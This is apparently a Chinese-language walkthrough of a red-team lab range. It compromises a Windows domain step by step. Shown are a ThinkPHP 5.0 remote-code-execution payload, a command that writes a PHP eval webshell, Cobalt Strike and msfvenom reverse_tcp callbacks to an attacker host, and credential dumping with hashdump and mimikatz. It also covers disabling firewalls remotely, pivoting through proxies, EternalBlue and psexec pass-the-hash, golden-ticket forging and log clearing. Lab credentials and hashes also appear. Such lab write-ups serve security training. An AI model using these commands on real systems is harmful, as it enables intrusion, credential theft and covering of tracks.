ATT&CK(五)

image-20220930163026247

image-20220929221554772

image-20220929221543753

image-20220929221625471

win7账号密码:

sun\heart 123.com

sun\Administrator dc123.com 密码我进去后改成123.comdc了
—————————————————————————————————————————————————————————————
2008账号密码

sun\admin 2020.com

登录win7 开启phpstudy

image-20220930154209359

nmap 192.168.135.0/24

image-20220930163758996

web

image-20221001123329502

发现是 thinkphp v5.0

查一下这个的洞

searchsploit thinkphp 5.0
searchsploit -m php/webapps/45978.txt
cat 45978.txt

image-20221001123831262

/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20221001130713110

/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

image-20221001130924094

写入shell

/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo+"<%3fphp+%40eval($_POST['zf'])%3b%3f>"+>+zf.php

image-20221001131253442

image-20221001131541280

这里扫目录还发现了一个马

image-20221001140229310

image-20221001140250827

爆破下

image-20221001141608043

win7上线cs

./teamserver 192.168.135.130 wanan

image-20221001162813609

image-20221001162942349

image-20221001163112847

image-20221001163136604

image-20221001163244743

image-20221001163322385

image-20221001163734182

信息收集

ipconfig /all
查看主机ip 所在域

image-20221001175641884

定位域控

shell net time /domain
查询时间服务器域名 一般为域控

image-20221001175824477

shell ping DC.sun.com
获取时间服务器ip

image-20221001175850183

hashdump
读取hash

image-20221001181105433

logonpasswords

image-20221001181137123

net view

image-20221001183943985

shell net view /domain
判断是否存在多个域

image-20221001184418265

shell net user /domain
查看域下用户

image-20221001184455128

shell net group "domain controllers" /domain
查看域控

image-20221001184612285

读到了密码

sun\Administrator
123.comdc

关闭防火墙 开启远程桌面

shell netsh firewall set opmode disable
shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

image-20221001182006126

image-20221001182310229

psexec横向

image-20221001183745187

image-20221001185413786

image-20221001185510366

image-20221001185945493

黄金票据

krbtgt 的NTLM

image-20221001191159607

wanan
SUN.COM
S-1-5-21-3388020223-1982701712-4030140183-500
65dc23a67f31503698981f2665f9d858

image-20221001191325379

image-20221001191342730

shell dir \\DC\C$

image-20221001191446142

清除日志

image-20221001192357685

win7上线msf

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.135.128 lport=4444 -f exe -o payload1.exe

image-20221001192803317

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.135.128
run

image-20221001193151651

image-20221002162401521

image-20221002162357943

迁移一下进程

image-20221002162655024

还有一张138的网卡

image-20221002170225910

配置代理

设置路由

msf操作
route add 192.168.138.0 255.255.255.0 10
route print

sessions操作
run autoroute -s 192.168.138.0/24
run autoroute -p

image-20221002170617761

use auxiliary/server/socks_proxy
options
set srvhost 0.0.0.0
edit /etc/proxychains4.conf
run

image-20221002170845639

image-20221002170826026

proxychains curl http://192.168.138.136

上线dc

image-20221002171051335

use auxiliary/scanner/discovery/udp_probe 
set rhosts 192.168.138.1-255
run

image-20221002175933878

proxychains nmap 192.168.138.138

image-20221002180126793

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

image-20221002184434679

这里抓到了靶机和域控的密码,那么这里就可以使用pth的方法进行横向移动,这是第一种方法,另外我们可以去检测一下在另一个网段的机器有什么漏洞可以利用,如ms17_010 cve-2020-0796等等 ,利用漏洞的exp进行横向移动,这是第二种方法,因为我们之前用nmap对端口进行扫描发现139和445端口的,那么我们拿到了密码的情况下,可以尝试使用ipc+计划任务的方式进行横向移动

ms17-010尝试

use windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
options
set rhost 192.168.138.138
run

image-20221002204656612

这里可以很明显的看到,靶机存在永恒之蓝但是session 反弹不成功,这里是因为windows server2008的情况下匿名管道是默认不开启的, 我们知道psexec的原理就是使用了管道,ipc连接也是同理,那么在匿名管道不开的情况下永恒之蓝的连接是建立不上的

匿名管道的概念
管道是ipc最基本的一种实现机制,在linux下一切皆文件 其实这里的管道其实就是一个文件.管道实现进程通信就是让两个进程都能访问该文件

管道的特征
只能提供单向通信,也就是说进程都能访问这个文件,假设进程1往文件里写东西,那么进程2就只能读取文件的内容
只能用于具有血缘关系的进程间进行通信,通常用于父子进程间通信
管道是依赖于字节流来通信的
依赖于文件系统,它的声明周期随进程的结束结束(随进程)
其本身自带同步互斥效果

psexec尝试

因为我们已经拿到了域管的账号那么我们这里直接使用pth的方法,即哈希传递,使用的是psexec模块,不过这个模块因为被使用太多导致已经被杀软列入了黑名单,如果这里有杀软存在的情况下psexec横向移动是会被拦截的.

use exploit/windows/smb/psexec 
options
set payload windows/x64/meterpreter/bind_tcp
set smbdomain sun
set smbuser
set smbuser Administrator
set smbpass 123.comdc
set rhosts 192.168.138.138
set lport 6666
run

image-20221002185418815

这里发现没有成功 推测可能是 防火墙的原因

net use \\192.168.138.138\ipc$ 123.comdc /user:Administrator

image-20221002190029147

net use
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.138.138 start unablefirewall

image-20221002190439233

use exploit/windows/smb/psexec 
options
set payload windows/x64/meterpreter/bind_tcp
set smbdomain sun
set smbuser
set smbuser Administrator
set smbpass 123.comdc
set rhosts 192.168.138.138
set lport 6666
run

image-20221002190626513

https://cloud.tencent.com/developer/article/1601681

https://zhuanlan.zhihu.com/p/412714049

https://blog.csdn.net/feiniaotjx/article/details/122910775

https://blog.csdn.net/BuNahua/article/details/120098504

https://drunkmars.top/2021/07/06/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA5/#

http://www.4k8k.xyz/article/qq_45780190/124207193

https://www.wangan.com/articles/4145

https://jishuin.proginn.com/p/763bfbd7bdab

https://blog.csdn.net/qq_38626043/article/details/119141146

https://blog.csdn.net/qq_36241198/article/details/121668010